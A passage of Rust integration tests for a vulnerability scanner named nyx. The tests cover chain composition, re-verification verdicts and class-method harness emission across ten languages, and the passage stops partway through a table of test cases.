let edges = build_chain_edges_for_route(&findings, "/ws");
let chains = find_chains(
&edges,
&surface,
ChainSearchConfig {
max_depth: 4,
min_score: 0.0,
},
);
assert_eq!(chains.len(), 1);
assert_eq!(
chains[0].implied_impact,
ImpactCategory::Rce,
"auth-gated entry must not produce BrowserToLocalRce"
);
assert_eq!(chains[0].severity, ChainSeverity::Critical);
}

332
tests/chain_emission_e2e.rs Normal file
View file

@ -0,0 +1,332 @@
//! End-to-end chain-composer regression test.
//!
//! Drives the built `nyx` binary against fixture projects crafted to
//! exercise the chain composer and asserts the JSON output carries at
//! least one entry in the top-level `chains` array. Complements the
//! synthetic-input integration tests under `tests/chain_emission.rs` and
//! `tests/chain_reverify.rs` (which drive `find_chains` / `compose_chain`
//! directly) by closing the wire-format loop: a chain that drops out of
//! `find_chains` must still land in the scan command's output.
//!
//! Fixture acceptance contract (one per language under
//! `tests/dynamic_fixtures/chain_composer/<lang>/<scenario>/`):
//!
//! - The scanner must produce at least one `findings[]` entry.
//! - The scanner must produce at least one `chains[]` entry.
//! - The top chain's `severity` must be `critical` or `high`.
//! - The top chain's `members` array must be non-empty.
//!
//! New scenarios drop their root directory into [`SCENARIOS`] below.
use assert_cmd::Command;
use serde_json::Value;
use std::path::Path;
use std::path::PathBuf;
struct Scenario {
/// Path relative to `tests/dynamic_fixtures/chain_composer/`.
rel_path: &'static str,
/// Required `implied_impact` value on at least one emitted chain.
/// `None` skips the impact assertion (kept as an escape hatch for
/// future scenarios where the lattice match is intentionally a
/// different category).
required_impact: Option<&'static str>,
}
const SCENARIOS: &[Scenario] = &[Scenario {
rel_path: "python/flask_eval",
required_impact: Some("rce"),
}];
fn fixture_root(rel: &str) -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/chain_composer")
.join(rel)
}
fn nyx_scan_cmd(home: &Path, root: &Path) -> Command {
let mut cmd = Command::cargo_bin("nyx").expect("nyx binary");
cmd.env("HOME", home)
.env("XDG_CONFIG_HOME", home.join(".config"))
.env("XDG_DATA_HOME", home.join(".local/share"))
.env("NO_COLOR", "1")
.args(["scan", "--format", "json"])
.arg(root);
cmd
}
fn run_scan_json(root: &Path) -> Value {
let home = tempfile::tempdir().expect("temp home");
let assert = nyx_scan_cmd(home.path(), root).assert().success();
let stdout = String::from_utf8(assert.get_output().stdout.clone())
.expect("nyx scan stdout is valid UTF-8");
serde_json::from_str(&stdout).unwrap_or_else(|e| {
panic!(
"nyx scan --format json produced invalid JSON for {}: {e}\n--- stdout ---\n{}\n",
root.display(),
stdout
)
})
}
#[test]
fn every_chain_composer_scenario_emits_at_least_one_chain() {
assert!(
!SCENARIOS.is_empty(),
"SCENARIOS table must list at least one fixture"
);
for scenario in SCENARIOS {
let root = fixture_root(scenario.rel_path);
assert!(
root.is_dir(),
"fixture root missing for scenario {}: {}",
scenario.rel_path,
root.display()
);
let value = run_scan_json(&root);
let findings = value
.get("findings")
.and_then(Value::as_array)
.unwrap_or_else(|| {
panic!(
"scenario {}: `findings` array missing from scan output",
scenario.rel_path
)
});
assert!(
!findings.is_empty(),
"scenario {}: expected at least one finding, got 0. Scan output:\n{}",
scenario.rel_path,
serde_json::to_string_pretty(&value).unwrap_or_default()
);
let chains = value
.get("chains")
.and_then(Value::as_array)
.unwrap_or_else(|| {
panic!(
"scenario {}: `chains` array missing from scan output",
scenario.rel_path
)
});
assert!(
!chains.is_empty(),
"scenario {}: expected at least one composed chain, got 0. \
Scan output:\n{}",
scenario.rel_path,
serde_json::to_string_pretty(&value).unwrap_or_default()
);
let top = &chains[0];
let severity = top
.get("severity")
.and_then(Value::as_str)
.unwrap_or("<missing>");
assert!(
matches!(severity, "critical" | "high"),
"scenario {}: top chain severity must be critical or high, \
got {severity:?}. Chain:\n{}",
scenario.rel_path,
serde_json::to_string_pretty(top).unwrap_or_default()
);
let members = top
.get("members")
.and_then(Value::as_array)
.unwrap_or_else(|| {
panic!(
"scenario {}: top chain has no `members` array",
scenario.rel_path
)
});
assert!(
!members.is_empty(),
"scenario {}: top chain must have at least one member",
scenario.rel_path
);
if let Some(expected) = scenario.required_impact {
let any_match = chains.iter().any(|c| {
c.get("implied_impact")
.and_then(Value::as_str)
.is_some_and(|v| v == expected)
});
assert!(
any_match,
"scenario {}: no chain carried implied_impact={expected:?}. \
Chains:\n{}",
scenario.rel_path,
serde_json::to_string_pretty(chains).unwrap_or_default()
);
}
}
}
/// Locks the scan-pipeline wiring contract: when dynamic verification is
/// enabled (default), the composite chain re-verifier runs after the
/// chain-composition pass and stamps each top-N chain's
/// `dynamic_verdict` so downstream consumers (`build_findings_json`,
/// `build_sarif_with_chains`, console renderer) see a populated field.
///
/// The verdict's *status* depends on the host's Python toolchain: when
/// `python3 -m venv` succeeds and the per-language chain-step harness
/// runs, the verdict resolves to `Confirmed`; when the toolchain is
/// missing it falls through to `Inconclusive(BackendInsufficient)`.
/// This test asserts only the wiring contract — that the field is
/// populated and the detail string reports coverage — so it stays green
/// on any host with a working `nyx` binary.
///
/// Gated on `feature = "dynamic"` because the reverifier lives behind
/// that flag.
#[cfg(feature = "dynamic")]
#[test]
fn flask_eval_chain_reverify_populates_dynamic_verdict() {
let root = fixture_root("python/flask_eval");
let value = run_scan_json(&root);
let chains = value
.get("chains")
.and_then(Value::as_array)
.expect("`chains` array missing from scan output");
assert!(!chains.is_empty(), "expected at least one composed chain");
let top = &chains[0];
let dv = top
.get("dynamic_verdict")
.expect("`dynamic_verdict` key missing from top chain");
assert!(
!dv.is_null(),
"top chain `dynamic_verdict` was null; wiring did not fire. Chain:\n{}",
serde_json::to_string_pretty(top).unwrap_or_default()
);
let status = dv
.get("status")
.and_then(Value::as_str)
.expect("verdict missing `status`");
assert!(
matches!(status, "Confirmed" | "Inconclusive" | "Unsupported"),
"unexpected verdict status: {status:?}"
);
let detail = dv
.get("detail")
.and_then(Value::as_str)
.expect("verdict missing `detail`");
for segment in ["derived", "built", "ran"] {
assert!(
detail.contains(segment),
"verdict detail missing `{segment}` coverage segment: {detail:?}"
);
}
}
/// Locks the Phase 31 telemetry stability stamping contract: when
/// `NYX_VERIFY_REPLAY_STABLE=1` is set and the chain reverifier resolves
/// to `Confirmed`, the verdict's `replay_stable` field is populated.
/// Without the env var, `replay_stable` stays `null`.
///
/// Status-agnostic: when the host's Python toolchain is missing the
/// reverifier never reaches its `Confirmed` branch and `replay_stable`
/// stays `null` in both arms — the test then asserts only the absence-
/// path contract under both env-var settings so it stays green on
/// toolchain-free hosts. When `Confirmed` *does* fire, the env-var-set
/// arm must carry `Some(true|false)`.
#[cfg(feature = "dynamic")]
#[test]
fn flask_eval_chain_replay_stable_honours_opt_in() {
let root = fixture_root("python/flask_eval");
// Arm 1: env var unset → replay_stable must be null on the top chain
// regardless of verdict status.
let home_off = tempfile::tempdir().expect("temp home");
let assert_off = nyx_scan_cmd(home_off.path(), &root)
.env_remove("NYX_VERIFY_REPLAY_STABLE")
.assert()
.success();
let value_off: Value = serde_json::from_slice(&assert_off.get_output().stdout)
.expect("nyx scan --format json produced invalid JSON (arm off)");
let top_off = value_off
.get("chains")
.and_then(Value::as_array)
.and_then(|c| c.first())
.expect("expected at least one composed chain (arm off)");
let dv_off = top_off
.get("dynamic_verdict")
.expect("dynamic_verdict missing (arm off)");
let replay_off = dv_off.get("replay_stable");
assert!(
matches!(replay_off, None | Some(Value::Null)),
"replay_stable should be absent or null when opt-in is off; got {replay_off:?}"
);
// Arm 2: env var set → replay_stable must be populated when the
// verdict is Confirmed. When the toolchain is missing the verdict
// stays Inconclusive and replay_stable stays null; both branches
// are valid wiring outcomes.
let home_on = tempfile::tempdir().expect("temp home");
let assert_on = nyx_scan_cmd(home_on.path(), &root)
.env("NYX_VERIFY_REPLAY_STABLE", "1")
.assert()
.success();
let value_on: Value = serde_json::from_slice(&assert_on.get_output().stdout)
.expect("nyx scan --format json produced invalid JSON (arm on)");
let top_on = value_on
.get("chains")
.and_then(Value::as_array)
.and_then(|c| c.first())
.expect("expected at least one composed chain (arm on)");
let dv_on = top_on
.get("dynamic_verdict")
.expect("dynamic_verdict missing (arm on)");
let status_on = dv_on
.get("status")
.and_then(Value::as_str)
.expect("verdict missing status (arm on)");
let replay_on = dv_on.get("replay_stable");
if status_on == "Confirmed" {
assert!(
matches!(replay_on, Some(Value::Bool(_))),
"replay_stable must be populated when opt-in is on and verdict is Confirmed; got {replay_on:?}"
);
} else {
assert!(
matches!(replay_on, None | Some(Value::Null) | Some(Value::Bool(_))),
"replay_stable should be absent, null, or a bool; got {replay_on:?}"
);
}
}
/// Mirror of the above: with `--no-verify` the chain-reverify pass is
/// skipped and `dynamic_verdict` stays `null`. Locks the cost-control
/// contract: users who opt out of dynamic verification do not pay the
/// per-chain build / sandbox cost.
#[cfg(feature = "dynamic")]
#[test]
fn flask_eval_chain_dynamic_verdict_is_null_when_verify_disabled() {
let root = fixture_root("python/flask_eval");
let home = tempfile::tempdir().expect("temp home");
let assert = nyx_scan_cmd(home.path(), &root)
.arg("--no-verify")
.assert()
.success();
let stdout = String::from_utf8(assert.get_output().stdout.clone())
.expect("nyx scan stdout is valid UTF-8");
let value: Value =
serde_json::from_str(&stdout).expect("nyx scan --format json produced invalid JSON");
let chains = value
.get("chains")
.and_then(Value::as_array)
.expect("`chains` array missing");
assert!(!chains.is_empty());
let top = &chains[0];
let dv = top.get("dynamic_verdict");
assert!(
matches!(dv, None | Some(Value::Null)),
"top chain `dynamic_verdict` should be absent or null under --no-verify; got {dv:?}"
);
}

360
tests/chain_reverify.rs Normal file
View file

@ -0,0 +1,360 @@
//! Phase 26 — Track G.3 integration tests.
//!
//! Exercises the composite re-verification surface end-to-end with a
//! stubbed reverifier so the test runs without a live sandbox backend.
//! Two scenarios:
//!
//! 1. **Composite Confirms**: the stub returns `VerifyStatus::Confirmed`;
//! the chain's severity is preserved and `reverify_reason` stays
//! empty.
//! 2. **Composite Inconclusive-downgrades**: the stub returns
//! `VerifyStatus::Inconclusive`; the chain drops one severity bucket
//! and records a typed reason on `reverify_reason`.
//!
//! Also covers the `reverify_top_n` cost-control gate and verifies the
//! per-language `compose_chain_step` API surface bottoms out on
//! [`ChainStepHarness::PREV_OUTPUT_ENV`] for every registered emitter.
#![cfg(feature = "dynamic")]
use nyx_scanner::chain::edges::FindingRef;
use nyx_scanner::chain::finding::{ChainFinding, ChainSeverity, ChainSink};
use nyx_scanner::chain::impact::ImpactCategory;
use nyx_scanner::chain::reverify::{
CompositeReverifier, chain_step_specs, reverify_chain_with, reverify_top_chains_with,
};
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::dynamic::lang::{ChainStepHarness, ChainStepTerminal, compose_chain_step};
use nyx_scanner::dynamic::verify::VerifyOptions;
use nyx_scanner::evidence::{InconclusiveReason, UnsupportedReason, VerifyResult, VerifyStatus};
use nyx_scanner::surface::{SourceLocation, SurfaceMap};
use nyx_scanner::symbol::Lang;
fn loc(file: &str, line: u32) -> SourceLocation {
SourceLocation::new(file, line, 1)
}
fn make_chain(
hash: u64,
severity: ChainSeverity,
impact: ImpactCategory,
score: f64,
) -> ChainFinding {
ChainFinding {
stable_hash: hash,
members: vec![FindingRef {
finding_id: format!("f-{hash}"),
stable_hash: hash,
location: loc("app.py", 10),
rule_id: "taint-shell-exec".into(),
cap_bits: 0,
}],
sink: ChainSink {
file: "app.py".into(),
line: 30,
col: 1,
function_name: "shell.exec".into(),
cap_bits: 0,
},
implied_impact: impact,
severity,
score,
dynamic_verdict: None,
reverify_reason: None,
}
}
fn verdict(status: VerifyStatus, reason: Option<InconclusiveReason>) -> VerifyResult {
VerifyResult {
finding_id: "f-0".into(),
status,
triggered_payload: None,
reason: None,
inconclusive_reason: reason,
detail: None,
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
}
}
struct StubReverifier(VerifyResult);
impl CompositeReverifier for StubReverifier {
fn reverify(
&self,
_chain: &ChainFinding,
_member_diags: &[Diag],
_surface: &SurfaceMap,
_opts: &VerifyOptions,
) -> VerifyResult {
self.0.clone()
}
}
#[test]
fn composite_confirms_keeps_severity_and_attaches_verdict() {
let mut chain = make_chain(0xAA, ChainSeverity::Critical, ImpactCategory::Rce, 100.0);
let surface = SurfaceMap::new();
let opts = VerifyOptions::default();
let stub = StubReverifier(verdict(VerifyStatus::Confirmed, None));
let result = reverify_chain_with(&mut chain, &[], &surface, &opts, &stub);
assert!(!result.was_downgraded(), "Confirmed must not downgrade");
assert_eq!(result.severity_before, ChainSeverity::Critical);
assert_eq!(result.severity_after, ChainSeverity::Critical);
assert_eq!(chain.severity, ChainSeverity::Critical);
let attached = chain.dynamic_verdict.as_ref().expect("verdict attached");
assert_eq!(attached.status, VerifyStatus::Confirmed);
assert!(chain.reverify_reason.is_none(), "no reason on Confirmed");
}
#[test]
fn composite_inconclusive_downgrades_one_bucket_and_records_reason() {
let mut chain = make_chain(0xBB, ChainSeverity::Critical, ImpactCategory::Rce, 100.0);
let surface = SurfaceMap::new();
let opts = VerifyOptions::default();
let stub = StubReverifier(verdict(
VerifyStatus::Inconclusive,
Some(InconclusiveReason::BuildFailed),
));
let result = reverify_chain_with(&mut chain, &[], &surface, &opts, &stub);
assert!(result.was_downgraded(), "Inconclusive must downgrade");
assert_eq!(result.severity_before, ChainSeverity::Critical);
assert_eq!(result.severity_after, ChainSeverity::High);
assert_eq!(chain.severity, ChainSeverity::High);
let reason = chain
.reverify_reason
.as_deref()
.expect("reverify_reason recorded");
assert!(
reason.contains("harness build failed"),
"reason carries typed inconclusive reason; got {reason:?}"
);
}
#[test]
fn top_n_limits_composite_reverification() {
let mut chains = vec![
make_chain(1, ChainSeverity::Critical, ImpactCategory::Rce, 200.0),
make_chain(2, ChainSeverity::High, ImpactCategory::SessionHijack, 150.0),
make_chain(
3,
ChainSeverity::Medium,
ImpactCategory::InfoDisclosure,
100.0,
),
make_chain(4, ChainSeverity::Low, ImpactCategory::InfoDisclosure, 50.0),
];
let surface = SurfaceMap::new();
let opts = VerifyOptions::default();
let stub = StubReverifier(verdict(VerifyStatus::Confirmed, None));
let results = reverify_top_chains_with(&mut chains, &[], &surface, &opts, 2, &stub);
assert_eq!(results.len(), 2);
assert!(chains[0].dynamic_verdict.is_some());
assert!(chains[1].dynamic_verdict.is_some());
assert!(
chains[2].dynamic_verdict.is_none(),
"chain past top_n stays untouched"
);
assert!(
chains[3].dynamic_verdict.is_none(),
"chain past top_n stays untouched"
);
}
#[test]
fn compose_chain_step_threads_prev_output_for_every_emitter() {
// Phase 26 deliverable: each emitter exposes
// `compose_chain_step(prev_output)`. Walk the registered languages
// and check the prev-output env var lands in `extra_env`.
let prev = b"chain-step-witness".as_slice();
for lang in [
Lang::Python,
Lang::Rust,
Lang::JavaScript,
Lang::TypeScript,
Lang::Go,
Lang::Java,
Lang::Php,
Lang::Ruby,
Lang::C,
Lang::Cpp,
] {
let step = compose_chain_step(lang, Some(prev), None);
assert!(
step.extra_env
.iter()
.any(|(k, v)| k == ChainStepHarness::PREV_OUTPUT_ENV && v == "chain-step-witness"),
"{lang:?} emitter must thread NYX_PREV_OUTPUT via extra_env; got {:?}",
step.extra_env
);
assert!(
!step.source.is_empty(),
"{lang:?} step source must be non-empty"
);
assert!(
!step.command.is_empty(),
"{lang:?} step command must be non-empty"
);
assert!(
!step.source.contains(ChainStepHarness::SINK_HIT_SENTINEL),
"{lang:?} non-terminal step must NOT carry the sink-hit sentinel; got source:\n{}",
step.source,
);
}
}
#[test]
fn compose_chain_step_with_no_prev_output_has_empty_extra_env() {
let step = compose_chain_step(Lang::Python, None, None);
assert!(step.extra_env.is_empty());
}
#[test]
fn compose_chain_step_terminal_splices_sink_hit_sentinel_for_every_emitter() {
// Phase 26 deliverable: when `terminal` is `Some`, every emitter
// must splice the `SINK_HIT_SENTINEL` into the step's source so a
// successful end-to-end compose flips
// `SandboxOutcome::sink_hit` and the composite reverifier can
// promote its verdict from `Inconclusive` to `Confirmed`.
let prev = b"terminal-witness".as_slice();
let terminal = ChainStepTerminal {
sink_callee: "eval".into(),
sink_cap_bits: 0x400,
};
for lang in [
Lang::Python,
Lang::Rust,
Lang::JavaScript,
Lang::TypeScript,
Lang::Go,
Lang::Java,
Lang::Php,
Lang::Ruby,
Lang::C,
Lang::Cpp,
] {
let step = compose_chain_step(lang, Some(prev), Some(&terminal));
assert!(
step.source.contains(ChainStepHarness::SINK_HIT_SENTINEL),
"{lang:?} terminal step must splice {} into source; got source:\n{}",
ChainStepHarness::SINK_HIT_SENTINEL,
step.source,
);
assert!(
step.source.contains("eval"),
"{lang:?} terminal step must reference the sink callee `eval`; got source:\n{}",
step.source,
);
}
}
#[test]
fn chain_step_specs_aligns_results_to_member_order_and_reports_missing_diags() {
let chain = ChainFinding {
stable_hash: 0x1234,
members: vec![
FindingRef {
finding_id: "f-1".into(),
stable_hash: 1,
location: loc("a.py", 10),
rule_id: "r1".into(),
cap_bits: 0,
},
FindingRef {
finding_id: "f-2".into(),
stable_hash: 2,
location: loc("a.py", 20),
rule_id: "r2".into(),
cap_bits: 0,
},
FindingRef {
finding_id: "f-3".into(),
stable_hash: 3,
location: loc("a.py", 30),
rule_id: "r3".into(),
cap_bits: 0,
},
],
sink: ChainSink {
file: "a.py".into(),
line: 40,
col: 1,
function_name: "sink".into(),
cap_bits: 0,
},
implied_impact: ImpactCategory::Rce,
severity: ChainSeverity::Critical,
score: 100.0,
dynamic_verdict: None,
reverify_reason: None,
};
// No diags threaded in — every member misses lookup and records
// `NoFlowSteps`. Result order must match member order.
let opts = VerifyOptions::default();
let specs = chain_step_specs(&chain, &[], &opts);
assert_eq!(specs.len(), 3);
assert_eq!(specs[0].member_hash, 1);
assert_eq!(specs[1].member_hash, 2);
assert_eq!(specs[2].member_hash, 3);
for s in &specs {
assert!(
matches!(s.result, Err(UnsupportedReason::NoFlowSteps)),
"missing-diag fallback got {:?}",
s.result
);
}
}
#[test]
fn default_reverifier_detail_carries_zero_over_member_count() {
use nyx_scanner::chain::reverify::reverify_chain;
let mut chain = ChainFinding {
stable_hash: 0xCAFE,
members: vec![
FindingRef {
finding_id: "f-1".into(),
stable_hash: 11,
location: loc("a.py", 1),
rule_id: "r".into(),
cap_bits: 0,
},
FindingRef {
finding_id: "f-2".into(),
stable_hash: 22,
location: loc("a.py", 2),
rule_id: "r".into(),
cap_bits: 0,
},
],
sink: ChainSink {
file: "a.py".into(),
line: 5,
col: 1,
function_name: "sink".into(),
cap_bits: 0,
},
implied_impact: ImpactCategory::Rce,
severity: ChainSeverity::Critical,
score: 100.0,
dynamic_verdict: None,
reverify_reason: None,
};
let surface = SurfaceMap::new();
let opts = VerifyOptions::default();
let result = reverify_chain(&mut chain, &[], &surface, &opts);
let detail = result
.verdict
.detail
.as_deref()
.expect("default reverifier populates detail");
assert!(
detail.contains("0/2"),
"detail must report 0/2 specs derived for the two-member chain; got {detail:?}"
);
}

687
tests/class_method_corpus.rs Normal file
View file

@ -0,0 +1,687 @@
//! Phase 19 (Track M.1) — `ClassMethod` end-to-end acceptance.
//!
//! Asserts the new `EntryKind::ClassMethod { class, method }` variant
//! is supported by every per-language emitter so the
//! `Inconclusive(EntryKindUnsupported { attempted: ClassMethod })`
//! rate drops to 0% across the ten supported languages. Each
//! sub-test constructs a `HarnessSpec` whose `entry_kind` is
//! `ClassMethod`, drives it through `lang::emit`, and checks the
//! harness source carries the matching `class` + `method` literal
//! plus the per-lang structural marker (probe shim, build command,
//! mock-class declaration when applicable). The `e2e_phase_19`
//! submodule then drives the fixture pair through `run_spec` to pin
//! the actual sandbox + oracle polarity.
//!
//! `cargo nextest run --features dynamic --test class_method_corpus`.
#![cfg(feature = "dynamic")]
mod common;
use nyx_scanner::dynamic::lang;
use nyx_scanner::dynamic::spec::{EntryKind, EntryKindTag, HarnessSpec, PayloadSlot};
use nyx_scanner::dynamic::stubs::{MockKind, mock_source};
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
const LANGS: &[Lang] = &[
Lang::Python,
Lang::JavaScript,
Lang::TypeScript,
Lang::Java,
Lang::Php,
Lang::Ruby,
Lang::Go,
Lang::Rust,
Lang::C,
Lang::Cpp,
];
fn entry_file(lang: Lang) -> &'static str {
match lang {
Lang::Python => "tests/dynamic_fixtures/class_method/python/vuln.py",
Lang::JavaScript => "tests/dynamic_fixtures/class_method/javascript/vuln.js",
Lang::TypeScript => "tests/dynamic_fixtures/class_method/typescript/vuln.ts",
Lang::Java => "tests/dynamic_fixtures/class_method/java/Vuln.java",
Lang::Php => "tests/dynamic_fixtures/class_method/php/vuln.php",
Lang::Ruby => "tests/dynamic_fixtures/class_method/ruby/vuln.rb",
Lang::Go => "tests/dynamic_fixtures/class_method/go/vuln.go",
Lang::Rust => "tests/dynamic_fixtures/class_method/rust/vuln.rs",
Lang::C => "tests/dynamic_fixtures/class_method/c/vuln.c",
Lang::Cpp => "tests/dynamic_fixtures/class_method/cpp/vuln.cpp",
}
}
fn class_for(lang: Lang) -> (&'static str, &'static str) {
match lang {
Lang::Python => ("UserRepository", "find_by_name"),
Lang::Java => ("Vuln$UserRepository", "findByName"),
Lang::C => ("UserService", "run"),
_ => ("UserService", "run"),
}
}
fn make_spec(lang: Lang) -> HarnessSpec {
let (class, method) = class_for(lang);
HarnessSpec {
finding_id: "phase19classmth1".into(),
entry_file: entry_file(lang).into(),
entry_name: method.into(),
entry_kind: EntryKind::ClassMethod {
class: class.into(),
method: method.into(),
},
lang,
toolchain_id: "phase19".into(),
payload_slot: PayloadSlot::Param(0),
expected_cap: Cap::CODE_EXEC,
constraint_hints: vec![],
sink_file: entry_file(lang).into(),
sink_line: 1,
spec_hash: "phase19classmth1".into(),
derivation: nyx_scanner::dynamic::spec::SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
}
}
#[test]
fn class_method_supported_by_every_lang_emitter() {
for lang in LANGS {
let supported = lang::entry_kinds_supported(*lang);
assert!(
supported.contains(&EntryKindTag::ClassMethod),
"{lang:?} must advertise ClassMethod after Phase 19; supported = {supported:?}",
);
}
}
#[test]
fn class_method_emit_does_not_short_circuit_to_entry_kind_unsupported() {
for lang in LANGS {
let spec = make_spec(*lang);
let result = lang::emit(&spec);
assert!(
result.is_ok(),
"{lang:?} emit returned {result:?} for ClassMethod spec"
);
}
}
#[test]
fn class_method_harness_carries_class_and_method_literal() {
for lang in LANGS {
let spec = make_spec(*lang);
let h = lang::emit(&spec).expect("emit ok");
let (class, method) = class_for(*lang);
assert!(
h.source.contains(class),
"{lang:?} harness source must reference class {class:?}",
);
assert!(
h.source.contains(method),
"{lang:?} harness source must reference method {method:?}",
);
}
}
#[test]
fn class_method_harness_splices_phase_19_mock_classes_where_lang_has_classes() {
// Languages with a class system embed the MockHttpClient /
// MockDatabaseConnection / MockLogger declarations the
// `stubs::mocks` registry publishes. Go uses a struct registry
// routed through the entry package and does not splice the
// doubles into the harness source; C has no class system.
// Rust's ClassMethod path uses Default::default() — no mocks.
let class_system_langs = [
Lang::Python,
Lang::JavaScript,
Lang::TypeScript,
Lang::Java,
Lang::Php,
Lang::Ruby,
];
for lang in class_system_langs {
let spec = make_spec(lang);
let h = lang::emit(&spec).expect("emit ok");
let mock_http = mock_source(MockKind::HttpClient, lang);
assert!(
h.source.contains("MockHttpClient"),
"{lang:?} harness must splice MockHttpClient",
);
assert!(!mock_http.is_empty());
}
}
#[test]
fn class_method_python_dispatch_reads_payload_and_invokes_method() {
let spec = make_spec(Lang::Python);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("NYX_PAYLOAD"));
assert!(h.source.contains("UserRepository"));
assert!(h.source.contains("find_by_name"));
assert!(h.source.contains("_nyx_build_receiver"));
assert!(h.source.contains("depth=3"));
assert!(h.source.contains("_nyx_resolve_annotation"));
}
#[test]
fn class_method_js_dispatch_builds_recursive_receiver() {
let spec = make_spec(Lang::JavaScript);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("_nyxBuildReceiver(_Cls, 3)"));
assert!(h.source.contains("_nyxConstructorParams"));
assert!(h.source.contains("_nyxExportedClass"));
assert!(h.source.contains("depth = 3"));
}
#[test]
fn class_method_java_emits_reflective_dispatch() {
let spec = make_spec(Lang::Java);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("Class.forName"));
assert!(h.source.contains("nyxBuildReceiver"));
assert!(h.source.contains("nyxValueForType(params[i], depth - 1"));
assert!(h.source.contains("Object result = match.invoke"));
assert!(h.source.contains("UserRepository"));
}
#[test]
fn class_method_ruby_dispatch_builds_recursive_receiver() {
let spec = make_spec(Lang::Ruby);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("_nyx_build_receiver(cls, depth = 3"));
assert!(h.source.contains("_nyx_const_for_param"));
assert!(h.source.contains("depth - 1"));
}
#[test]
fn class_method_go_uses_reflect_receivers_registry() {
let spec = make_spec(Lang::Go);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("entry.NyxAutoReceivers"));
assert!(h.source.contains("nyxPopulateReceiver"));
assert!(h.source.contains("MethodByName"));
let registry = h
.extra_files
.iter()
.find(|(name, _)| name == "entry/nyx_auto_registry.go")
.expect("auto registry emitted");
assert!(registry.1.contains("NyxAutoReceivers"));
assert!(registry.1.contains("UserService{}"));
}
#[test]
fn class_method_rust_uses_default_constructor() {
let spec = make_spec(Lang::Rust);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("UserService::default()"));
assert!(h.source.contains("instance.run"));
}
#[test]
fn class_method_rust_builds_recursive_receiver_literal() {
let mut spec = make_spec(Lang::Rust);
spec.entry_file = "tests/dynamic_fixtures/class_method/rust_recursive_deps/vuln.rs".into();
spec.sink_file = spec.entry_file.clone();
let h = lang::emit(&spec).expect("emit ok");
assert!(
h.source
.contains("entry::UserService { runner: entry::CommandRunner")
);
assert!(!h.source.contains("UserService::default()"));
assert!(!h.source.contains("UserService::new()"));
}
#[test]
fn class_method_c_collapses_to_class_underscore_method_symbol() {
let spec = make_spec(Lang::C);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("UserService_run"));
}
#[test]
fn class_method_c_builds_recursive_receiver_pointer() {
let mut spec = make_spec(Lang::C);
spec.entry_file = "tests/dynamic_fixtures/class_method/c_recursive_deps/vuln.c".into();
spec.sink_file = spec.entry_file.clone();
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("ShellRunner nyx_shell_0 = {0};"));
assert!(
h.source
.contains("CommandRunner nyx_runner_0 = { .shell = &nyx_shell_0 };")
);
assert!(
h.source
.contains("UserService nyx_receiver = { .runner = &nyx_runner_0 };")
);
assert!(
h.source
.contains("UserService_run(&nyx_receiver, payload, strlen(payload));")
);
assert!(
!h.source
.contains("UserService_run(payload, strlen(payload));")
);
}
#[test]
fn class_method_cpp_constructs_default_then_calls_method() {
let spec = make_spec(Lang::Cpp);
let h = lang::emit(&spec).expect("emit ok");
assert!(h.source.contains("UserService instance;"));
assert!(h.source.contains("instance.run"));
}
#[test]
fn class_method_cpp_builds_recursive_receiver_initializer() {
let mut spec = make_spec(Lang::Cpp);
spec.entry_file = "tests/dynamic_fixtures/class_method/cpp_recursive_deps/vuln.cpp".into();
spec.sink_file = spec.entry_file.clone();
let h = lang::emit(&spec).expect("emit ok");
assert!(
h.source
.contains("UserService instance{CommandRunner{ShellRunner{}}};")
);
assert!(!h.source.contains("UserService instance;"));
}
// ── End-to-end Phase 19 acceptance via run_spec ─────────────────────────────
#[cfg(test)]
mod e2e_phase_19 {
use super::*;
use crate::common::fixture_harness::FIXTURE_LOCK;
use nyx_scanner::dynamic::runner::{RunError, RunOutcome, run_spec};
use nyx_scanner::dynamic::sandbox::{SandboxBackend, SandboxOptions};
use nyx_scanner::dynamic::spec::{SpecDerivationStrategy, default_toolchain_id};
use nyx_scanner::evidence::DifferentialVerdict;
use std::path::PathBuf;
use std::process::Command;
use tempfile::TempDir;
#[derive(Clone, Copy)]
struct Case {
lang: Lang,
fixture_dir: &'static str,
vuln_file: &'static str,
benign_file: &'static str,
vuln_class: &'static str,
benign_class: &'static str,
method: &'static str,
cap: Cap,
bins: &'static [&'static str],
}
const CASES: &[Case] = &[
Case {
lang: Lang::Python,
fixture_dir: "python",
vuln_file: "vuln.py",
benign_file: "benign.py",
vuln_class: "UserRepository",
benign_class: "UserRepository",
method: "find_by_name",
cap: Cap::SQL_QUERY,
bins: &["python3"],
},
Case {
lang: Lang::Python,
fixture_dir: "python_recursive_deps",
vuln_file: "vuln.py",
benign_file: "benign.py",
vuln_class: "UserController",
benign_class: "UserController",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["python3"],
},
Case {
lang: Lang::Ruby,
fixture_dir: "ruby",
vuln_file: "vuln.rb",
benign_file: "benign.rb",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["ruby"],
},
Case {
lang: Lang::Ruby,
fixture_dir: "ruby_recursive_deps",
vuln_file: "vuln.rb",
benign_file: "benign.rb",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["ruby"],
},
Case {
lang: Lang::JavaScript,
fixture_dir: "javascript",
vuln_file: "vuln.js",
benign_file: "benign.js",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["node"],
},
Case {
lang: Lang::JavaScript,
fixture_dir: "javascript_recursive_deps",
vuln_file: "vuln.js",
benign_file: "benign.js",
vuln_class: "UserService",
benign_class: "UserService",
method: "run",
cap: Cap::CODE_EXEC,
bins: &["node"],
},
Case {
